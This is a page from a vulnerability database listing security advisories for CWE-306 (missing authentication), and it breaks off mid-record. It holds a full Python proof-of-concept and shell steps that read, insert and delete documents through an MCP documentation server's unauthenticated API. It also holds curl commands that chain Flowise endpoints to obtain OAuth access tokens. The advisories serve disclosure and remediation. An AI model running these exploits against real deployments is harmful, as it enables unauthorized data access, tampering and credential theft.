Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

3572 vulnerabilities reference this CWE, most recent first.

GHSA-6F5R-5672-72J7

Vulnerability from github – Published: 2026-07-15 23:26 – Updated: 2026-07-15 23:26
VLAI
Summary
@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default
Details

Summary

@andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (*:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.

As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.

The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.

Details

The README documents that the Web UI starts automatically and tells users to open:

http://localhost:3080

It also documents START_WEB_UI=true and WEB_PORT=3080 as the defaults.

The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.

In src/server.ts, the Web UI is started unless START_WEB_UI=false:

if (process.env.START_WEB_UI !== 'false') {
    initializeDocumentManager().then(manager => {
        return startWebServer(undefined, manager);
    }).then(() => {
        console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');
    })...
}

In src/web-server.ts, the Express app appears to listen with only the port:

const server = app.listen(PORT, () => {
    console.log(`\n  🌐 MCP Documentation Server - Web UI`);
    console.log(`  ────────────────────────────────────`);
    console.log(`  Local:   http://localhost:${PORT}`);
    console.log(`  Network: http://0.0.0.0:${PORT}\n`);
});

With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:

LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

The exposed API includes document-admin operations such as:

GET    /api/documents
GET    /api/documents/:id
POST   /api/documents
POST   /api/search-all
DELETE /api/documents/:id
GET    /api/config

I did not send any Authorization header in the PoC requests, and all tested operations succeeded.

PoC

Tested on v1.13.0.

1. Build from source

cd ~/Desktop
mkdir -p docsrv_repro_from_scratch
cd docsrv_repro_from_scratch

git clone https://github.com/andrea9293/mcp-documentation-server.git
cd mcp-documentation-server

git rev-parse HEAD
npm install --no-audit --no-fund
npm run build

ls -l dist/server.js
node -p "require('./package.json').version"

Expected version:

1.13.0

2. Start the server with default Web UI behavior

Do not set START_WEB_UI=false.

rm -rf /tmp/docsrv_base
mkdir -p /tmp/docsrv_base

MCP_BASE_DIR=/tmp/docsrv_base \
WEB_PORT=3080 \
node dist/server.js \
  </dev/null \
  >/tmp/docsrv_stdout.log \
  2>/tmp/docsrv_stderr.log &

DOCSRV_PID=$!
sleep 5

echo "DOCSRV_PID=$DOCSRV_PID"
ps -p "$DOCSRV_PID" -o pid,stat,cmd

3. Confirm that the Web UI/API binds to all interfaces

ss -ltnp | grep ':3080' || true

Observed:

LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

This indicates the service is not bound only to 127.0.0.1.

4. Confirm that the API is reachable through the LAN IP

LAN_IP=$(hostname -I | awk '{print $1}')
echo "LAN_IP=$LAN_IP"

curl -sS --max-time 5 "http://$LAN_IP:3080/api/config"
echo

Observed:

LAN_IP=10.0.250.230
{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}

No authentication header was sent.

5. Full unauthenticated document-admin PoC

cat > /tmp/docsrv_unauth_poc.py <<'PY'
#!/usr/bin/env python3
import json
import sys
import urllib.request
import urllib.error

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080
BASE = f"http://{HOST}:{PORT}"

def req(method, path, body=None):
    data = json.dumps(body).encode() if body is not None else None
    headers = {"Content-Type": "application/json"} if body is not None else {}
    r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
    with urllib.request.urlopen(r, timeout=10) as resp:
        raw = resp.read().decode()
        try:
            return resp.status, json.loads(raw or "null")
        except Exception:
            return resp.status, raw

def main():
    print(f"[poc] target = {BASE}")
    print("[poc] no Authorization header is sent")

    status, config = req("GET", "/api/config")
    print(f"[0] config: HTTP {status}, {config}")

    status, docs = req("GET", "/api/documents")
    print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}")

    marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api"
    body = {
        "title": "network-inserted-test-document",
        "content": marker + "\nThis document was inserted through the unauthenticated network API.",
        "metadata": {"source": "unauth-network-poc"}
    }

    status, added = req("POST", "/api/documents", body)
    print(f"[2] add document: HTTP {status}, response={added}")

    doc_id = None
    if isinstance(added, dict):
        doc_id = added.get("id") or added.get("document", {}).get("id")

    if not doc_id:
        status, docs = req("GET", "/api/documents")
        for d in docs:
            if d.get("title") == "network-inserted-test-document":
                doc_id = d.get("id")
                break

    if not doc_id:
        raise RuntimeError("could not locate inserted document id")

    print(f"[2] inserted id={doc_id}")

    status, doc = req("GET", f"/api/documents/{doc_id}")
    content = doc.get("content", "") if isinstance(doc, dict) else str(doc)
    print(f"[3] read document: HTTP {status}, marker_present={marker in content}")

    status, hits = req("POST", "/api/search-all", {
        "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted",
        "limit": 5
    })
    print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}")

    status, deleted = req("DELETE", f"/api/documents/{doc_id}")
    print(f"[5] delete document: HTTP {status}, response={deleted}")

    print("[poc] DONE")

if __name__ == "__main__":
    main()
PY

chmod +x /tmp/docsrv_unauth_poc.py

Run against localhost:

python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080

Observed:

[poc] target = http://127.0.0.1:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker_present=True
[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE

Run the same PoC against the host's LAN IP:

LAN_IP=$(hostname -I | awk '{print $1}')
python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080

Observed:

[poc] target = http://10.0.250.230:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker_present=True
[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE

6. Cleanup

kill "$DOCSRV_PID" 2>/dev/null || true
fuser -k 3080/tcp 2>/dev/null || true
rm -rf /tmp/docsrv_base
rm -f /tmp/docsrv_unauth_poc.py
rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log

Impact

This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.

A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:

  • reading document titles, previews, and full document contents;
  • searching across the entire document corpus;
  • inserting attacker-controlled documents into the corpus;
  • deleting documents;
  • tampering with the user's local knowledge base used by the MCP assistant.

This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.

This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.

A safer default would be to bind the Web UI/API to 127.0.0.1 by default, and require an explicit opt-in such as WEB_BIND_HOST=0.0.0.0 for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@andrea9293/mcp-documentation-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.0"
            },
            {
              "fixed": "1.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.13.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54504"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T23:26:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication.\n\nAs a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host\u0027s LAN IP.\n\nThe issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.\n\n### Details\n\nThe README documents that the Web UI starts automatically and tells users to open:\n\n```text\nhttp://localhost:3080\n```\n\nIt also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults.\n\nThe vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.\n\nIn `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`:\n\n```ts\nif (process.env.START_WEB_UI !== \u0027false\u0027) {\n    initializeDocumentManager().then(manager =\u003e {\n        return startWebServer(undefined, manager);\n    }).then(() =\u003e {\n        console.error(\u0027[Server] Web UI started (port=\u0027 + (process.env.WEB_PORT || \u00273080\u0027) + \u0027)\u0027);\n    })...\n}\n```\n\nIn `src/web-server.ts`, the Express app appears to listen with only the port:\n\n```ts\nconst server = app.listen(PORT, () =\u003e {\n    console.log(`\\n  \ud83c\udf10 MCP Documentation Server - Web UI`);\n    console.log(`  \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500`);\n    console.log(`  Local:   http://localhost:${PORT}`);\n    console.log(`  Network: http://0.0.0.0:${PORT}\\n`);\n});\n```\n\nWith Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in:\n\n```text\nLISTEN 0 511 *:3080 *:* users:((\"MainThread\",pid=1781375,fd=21))\n```\n\nThe exposed API includes document-admin operations such as:\n\n```text\nGET    /api/documents\nGET    /api/documents/:id\nPOST   /api/documents\nPOST   /api/search-all\nDELETE /api/documents/:id\nGET    /api/config\n```\n\nI did not send any `Authorization` header in the PoC requests, and all tested operations succeeded.\n\n### PoC\n\nTested on v1.13.0.\n\n#### 1. Build from source\n\n```bash\ncd ~/Desktop\nmkdir -p docsrv_repro_from_scratch\ncd docsrv_repro_from_scratch\n\ngit clone https://github.com/andrea9293/mcp-documentation-server.git\ncd mcp-documentation-server\n\ngit rev-parse HEAD\nnpm install --no-audit --no-fund\nnpm run build\n\nls -l dist/server.js\nnode -p \"require(\u0027./package.json\u0027).version\"\n```\n\nExpected version:\n\n```text\n1.13.0\n```\n\n#### 2. Start the server with default Web UI behavior\n\nDo not set `START_WEB_UI=false`.\n\n```bash\nrm -rf /tmp/docsrv_base\nmkdir -p /tmp/docsrv_base\n\nMCP_BASE_DIR=/tmp/docsrv_base \\\nWEB_PORT=3080 \\\nnode dist/server.js \\\n  \u003c/dev/null \\\n  \u003e/tmp/docsrv_stdout.log \\\n  2\u003e/tmp/docsrv_stderr.log \u0026\n\nDOCSRV_PID=$!\nsleep 5\n\necho \"DOCSRV_PID=$DOCSRV_PID\"\nps -p \"$DOCSRV_PID\" -o pid,stat,cmd\n```\n\n#### 3. Confirm that the Web UI/API binds to all interfaces\n\n```bash\nss -ltnp | grep \u0027:3080\u0027 || true\n```\n\nObserved:\n\n```text\nLISTEN 0 511 *:3080 *:* users:((\"MainThread\",pid=1781375,fd=21))\n```\n\nThis indicates the service is not bound only to `127.0.0.1`.\n\n#### 4. Confirm that the API is reachable through the LAN IP\n\n```bash\nLAN_IP=$(hostname -I | awk \u0027{print $1}\u0027)\necho \"LAN_IP=$LAN_IP\"\n\ncurl -sS --max-time 5 \"http://$LAN_IP:3080/api/config\"\necho\n```\n\nObserved:\n\n```text\nLAN_IP=10.0.250.230\n{\"gemini_available\":false,\"embedding_model\":\"Xenova/all-MiniLM-L6-v2\"}\n```\n\nNo authentication header was sent.\n\n#### 5. Full unauthenticated document-admin PoC\n\n```bash\ncat \u003e /tmp/docsrv_unauth_poc.py \u003c\u003c\u0027PY\u0027\n#!/usr/bin/env python3\nimport json\nimport sys\nimport urllib.request\nimport urllib.error\n\nHOST = sys.argv[1] if len(sys.argv) \u003e 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) \u003e 2 else 3080\nBASE = f\"http://{HOST}:{PORT}\"\n\ndef req(method, path, body=None):\n    data = json.dumps(body).encode() if body is not None else None\n    headers = {\"Content-Type\": \"application/json\"} if body is not None else {}\n    r = urllib.request.Request(f\"{BASE}{path}\", data=data, method=method, headers=headers)\n    with urllib.request.urlopen(r, timeout=10) as resp:\n        raw = resp.read().decode()\n        try:\n            return resp.status, json.loads(raw or \"null\")\n        except Exception:\n            return resp.status, raw\n\ndef main():\n    print(f\"[poc] target = {BASE}\")\n    print(\"[poc] no Authorization header is sent\")\n\n    status, config = req(\"GET\", \"/api/config\")\n    print(f\"[0] config: HTTP {status}, {config}\")\n\n    status, docs = req(\"GET\", \"/api/documents\")\n    print(f\"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else \u0027unknown\u0027}\")\n\n    marker = \"ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\"\n    body = {\n        \"title\": \"network-inserted-test-document\",\n        \"content\": marker + \"\\nThis document was inserted through the unauthenticated network API.\",\n        \"metadata\": {\"source\": \"unauth-network-poc\"}\n    }\n\n    status, added = req(\"POST\", \"/api/documents\", body)\n    print(f\"[2] add document: HTTP {status}, response={added}\")\n\n    doc_id = None\n    if isinstance(added, dict):\n        doc_id = added.get(\"id\") or added.get(\"document\", {}).get(\"id\")\n\n    if not doc_id:\n        status, docs = req(\"GET\", \"/api/documents\")\n        for d in docs:\n            if d.get(\"title\") == \"network-inserted-test-document\":\n                doc_id = d.get(\"id\")\n                break\n\n    if not doc_id:\n        raise RuntimeError(\"could not locate inserted document id\")\n\n    print(f\"[2] inserted id={doc_id}\")\n\n    status, doc = req(\"GET\", f\"/api/documents/{doc_id}\")\n    content = doc.get(\"content\", \"\") if isinstance(doc, dict) else str(doc)\n    print(f\"[3] read document: HTTP {status}, marker_present={marker in content}\")\n\n    status, hits = req(\"POST\", \"/api/search-all\", {\n        \"query\": \"ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted\",\n        \"limit\": 5\n    })\n    print(f\"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}\")\n\n    status, deleted = req(\"DELETE\", f\"/api/documents/{doc_id}\")\n    print(f\"[5] delete document: HTTP {status}, response={deleted}\")\n\n    print(\"[poc] DONE\")\n\nif __name__ == \"__main__\":\n    main()\nPY\n\nchmod +x /tmp/docsrv_unauth_poc.py\n```\n\nRun against localhost:\n\n```bash\npython3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080\n```\n\nObserved:\n\n```text\n[poc] target = http://127.0.0.1:3080\n[poc] no Authorization header is sent\n[0] config: HTTP 200, {\u0027gemini_available\u0027: False, \u0027embedding_model\u0027: \u0027Xenova/all-MiniLM-L6-v2\u0027}\n[1] list documents: HTTP 200, count=0\n[2] add document: HTTP 200, response={\u0027id\u0027: \u0027ef13280d7441d5bb\u0027, \u0027title\u0027: \u0027network-inserted-test-document\u0027, \u0027message\u0027: \u0027Document added successfully\u0027}\n[2] inserted id=ef13280d7441d5bb\n[3] read document: HTTP 200, marker_present=True\n[4] search-all: HTTP 200, response_prefix=\"[{\u0027document_id\u0027: \u0027ef13280d7441d5bb\u0027, \u0027parent_index\u0027: 0, \u0027score\u0027: 1, \u0027content\u0027: \u0027ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\\\nThis document was inserted through the unauthenticated network API.\u0027}]\"\n[5] delete document: HTTP 200, response={\u0027success\u0027: True, \u0027message\u0027: \u0027Document \"network-inserted-test-document\" deleted\u0027}\n[poc] DONE\n```\n\nRun the same PoC against the host\u0027s LAN IP:\n\n```bash\nLAN_IP=$(hostname -I | awk \u0027{print $1}\u0027)\npython3 /tmp/docsrv_unauth_poc.py \"$LAN_IP\" 3080\n```\n\nObserved:\n\n```text\n[poc] target = http://10.0.250.230:3080\n[poc] no Authorization header is sent\n[0] config: HTTP 200, {\u0027gemini_available\u0027: False, \u0027embedding_model\u0027: \u0027Xenova/all-MiniLM-L6-v2\u0027}\n[1] list documents: HTTP 200, count=0\n[2] add document: HTTP 200, response={\u0027id\u0027: \u0027ef13280d7441d5bb\u0027, \u0027title\u0027: \u0027network-inserted-test-document\u0027, \u0027message\u0027: \u0027Document added successfully\u0027}\n[2] inserted id=ef13280d7441d5bb\n[3] read document: HTTP 200, marker_present=True\n[4] search-all: HTTP 200, response_prefix=\"[{\u0027document_id\u0027: \u0027ef13280d7441d5bb\u0027, \u0027parent_index\u0027: 0, \u0027score\u0027: 1, \u0027content\u0027: \u0027ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\\\nThis document was inserted through the unauthenticated network API.\u0027}]\"\n[5] delete document: HTTP 200, response={\u0027success\u0027: True, \u0027message\u0027: \u0027Document \"network-inserted-test-document\" deleted\u0027}\n[poc] DONE\n```\n\n#### 6. Cleanup\n\n```bash\nkill \"$DOCSRV_PID\" 2\u003e/dev/null || true\nfuser -k 3080/tcp 2\u003e/dev/null || true\nrm -rf /tmp/docsrv_base\nrm -f /tmp/docsrv_unauth_poc.py\nrm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log\n```\n\n### Impact\n\nThis is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.\n\nA network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:\n\n- reading document titles, previews, and full document contents;\n- searching across the entire document corpus;\n- inserting attacker-controlled documents into the corpus;\n- deleting documents;\n- tampering with the user\u0027s local knowledge base used by the MCP assistant.\n\nThis can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.\n\nThis is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.\n\nA safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.",
  "id": "GHSA-6f5r-5672-72j7",
  "modified": "2026-07-15T23:26:57Z",
  "published": "2026-07-15T23:26:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andrea9293/mcp-documentation-server/security/advisories/GHSA-6f5r-5672-72j7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andrea9293/mcp-documentation-server/commit/37159d4e06b8ee50c3645b2496e3d3f6d32c47f9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andrea9293/mcp-documentation-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andrea9293/mcp-documentation-server/releases/tag/v1.13.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default"
}

GHSA-6F6R-XP9P-X965

Vulnerability from github – Published: 2025-04-08 09:31 – Updated: 2025-04-08 09:31
VLAI
Details

A vulnerability has been identified in SENTRON 7KT PAC1260 Data Manager (All versions). The web interface of affected devices provides an endpoint that allows to enable the ssh service without authentication. This could allow an unauthenticated remote attacker to enable remote access to the device via ssh.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-41793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-08T09:15:19Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SENTRON 7KT PAC1260 Data Manager (All versions). The web interface of affected devices provides an endpoint that allows to enable the ssh service without authentication. This could allow an unauthenticated remote attacker to enable remote access to the device via ssh.",
  "id": "GHSA-6f6r-xp9p-x965",
  "modified": "2025-04-08T09:31:12Z",
  "published": "2025-04-08T09:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41793"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-187636.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6F7G-V4PP-R667

Vulnerability from github – Published: 2026-04-16 21:52 – Updated: 2026-04-24 21:01
VLAI
Summary
Flowise: Unauthenticated OAuth 2.0 Access Token Disclosure via Public Chatflow in Flowise
Details

Summary

Flowise contains an authentication bypass vulnerability that allows an unauthenticated attacker to obtain OAuth 2.0 access tokens associated with a public chatflow.

By accessing a public chatflow configuration endpoint, an attacker can retrieve internal workflow data, including OAuth credential identifiers, which can then be used to refresh and obtain valid OAuth 2.0 access tokens without authentication.

Details

Flowise is designed to allow public chatflows to be accessed by unauthenticated end users via public URLs or embedded widgets. As a result, chatflowId values are intentionally exposed to unauthenticated clients and must not be treated as secrets.

However, the endpoint GET /api/v1/public-chatbotConfig/<chatflowId> returns internal flowData without authentication. The returned flowData includes workflow node definitions containing OAuth credential identifiers (credential field).

Separately, the endpoint POST /api/v1/oauth2-credential/refresh/<credentialId> allows OAuth. 2.0 tokens to be refreshed without authentication or authorization checks.

Because credential identifiers can be obtained from the unauthenticated public chatflow configuration endpoint, these two behaviors can be combined to allow unauthenticated OAuth 2.0 access token disclosure.

PoC

Prerequisites - Self-hosted Flowise instance - A public chatflow configured with an OAuth 2.0 credential (e.g., Gmail OAuth2)

Step 1: Obtain chatflowId

The chatflowId is exposed to unauthenticated users via public chatflow URLs, embedded widgets, or browser network requests when accessing a public chatflow.

Example: d37b9812-72c1-4c64-b152-665f307f755e

Step 2: Retrieve internal flowData without authentication

curl -s \
  http://localhost:3000/api/v1/public-chatbotConfig/d37b9812-72c1-4c64-b152-665f307f755e

The response includes flowData containing an OAuth credential identifier, for example:

"credential": "6efe0e20-ba6f-4fbb-9960-658feffa0542"

Step 3: Refresh OAuth 2.0 token without authentication

curl -X POST \
  http://localhost:3000/api/v1/oauth2-credential/refresh/6efe0e20-ba6f-4fbb-9960-658feffa0542

The response returns valid OAuth 2.0 access token data, including an access_token.

Impact

An unauthenticated attacker can obtain OAuth 2.0 access tokens for third-party services configured in Flowise, potentially leading to unauthorized data access, API abuse, or account compromise.

This vulnerability affects self-hosted deployments because public chatflows are commonly exposed to the internet and require unauthenticated access by design. Treating chatflowId as a secret does not mitigate the issue.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41273"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:52:46Z",
    "nvd_published_at": "2026-04-23T20:16:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nFlowise contains an authentication bypass vulnerability that allows an unauthenticated attacker to obtain OAuth 2.0 access tokens associated with a public chatflow.\n\nBy accessing a public chatflow configuration endpoint, an attacker can retrieve internal workflow data, including OAuth credential identifiers, which can then be used to refresh and obtain valid OAuth 2.0 access tokens without authentication.\n\n### Details\nFlowise is designed to allow public chatflows to be accessed by unauthenticated end users via public URLs or embedded widgets. As a result, `chatflowId` values are intentionally exposed to unauthenticated clients and must not be treated as secrets.\n\nHowever, the endpoint `GET /api/v1/public-chatbotConfig/\u003cchatflowId\u003e` returns internal `flowData` without authentication. The returned `flowData` includes workflow node definitions containing OAuth credential identifiers (`credential` field).\n\nSeparately, the endpoint `POST /api/v1/oauth2-credential/refresh/\u003ccredentialId\u003e` allows OAuth. 2.0 tokens to be refreshed without authentication or authorization checks.\n\nBecause credential identifiers can be obtained from the unauthenticated public chatflow configuration endpoint, these two behaviors can be combined to allow unauthenticated OAuth 2.0 access token disclosure.\n\n### PoC\n**Prerequisites**\n- Self-hosted Flowise instance\n- A public chatflow configured with an OAuth 2.0 credential (e.g., Gmail OAuth2)\n\n#### Step 1: Obtain `chatflowId`\nThe `chatflowId` is exposed to unauthenticated users via public chatflow URLs, embedded widgets, or browser network requests when accessing a public chatflow.\n\nExample: `d37b9812-72c1-4c64-b152-665f307f755e`\n\n#### Step 2: Retrieve internal `flowData` without authentication\n\n```bash\ncurl -s \\\n  http://localhost:3000/api/v1/public-chatbotConfig/d37b9812-72c1-4c64-b152-665f307f755e\n```\n\nThe response includes flowData containing an OAuth credential identifier, for example:\n\n```\n\"credential\": \"6efe0e20-ba6f-4fbb-9960-658feffa0542\"\n```\n\n#### Step 3: Refresh OAuth 2.0 token without authentication\n\n```bash\ncurl -X POST \\\n  http://localhost:3000/api/v1/oauth2-credential/refresh/6efe0e20-ba6f-4fbb-9960-658feffa0542\n```\n\nThe response returns valid OAuth 2.0 access token data, including an `access_token`.\n\n### Impact\nAn unauthenticated attacker can obtain OAuth 2.0 access tokens for third-party services configured in Flowise, potentially leading to unauthorized data access, API abuse, or account compromise.\n\nThis vulnerability affects self-hosted deployments because public chatflows are commonly exposed to the internet and require unauthenticated access by design. Treating `chatflowId` as a secret does not mitigate the issue.",
  "id": "GHSA-6f7g-v4pp-r667",
  "modified": "2026-04-24T21:01:20Z",
  "published": "2026-04-16T21:52:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6f7g-v4pp-r667"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41273"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Unauthenticated OAuth 2.0 Access Token Disclosure via Public Chatflow in Flowise"
}

GHSA-6F8W-F2R8-4FHV

Vulnerability from github – Published: 2025-02-08 18:34 – Updated: 2025-02-08 18:34
VLAI
Details

IBM DevOps Deploy 8.0 through 8.0.1.4, 8.1 through 8.1.0.0 and IBM UrbanCode Deploy (UCD) 7.0 through 7.0.5.25, 7.1 through 7.1.2.21, 7.2 through 7.2.3.14 and 7.3 through 7.3.2 could allow an authenticated user to obtain sensitive information about other users on the system due to missing authorization for a function.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-54176"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-08T17:15:21Z",
    "severity": "MODERATE"
  },
  "details": "IBM DevOps Deploy 8.0 through 8.0.1.4, 8.1 through 8.1.0.0 and IBM UrbanCode Deploy (UCD) 7.0 through 7.0.5.25, 7.1 through 7.1.2.21, 7.2 through 7.2.3.14 and 7.3 through 7.3.2 could allow an authenticated user to obtain sensitive information about other users on the system due to missing authorization for a function.",
  "id": "GHSA-6f8w-f2r8-4fhv",
  "modified": "2025-02-08T18:34:42Z",
  "published": "2025-02-08T18:34:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54176"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7182840"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
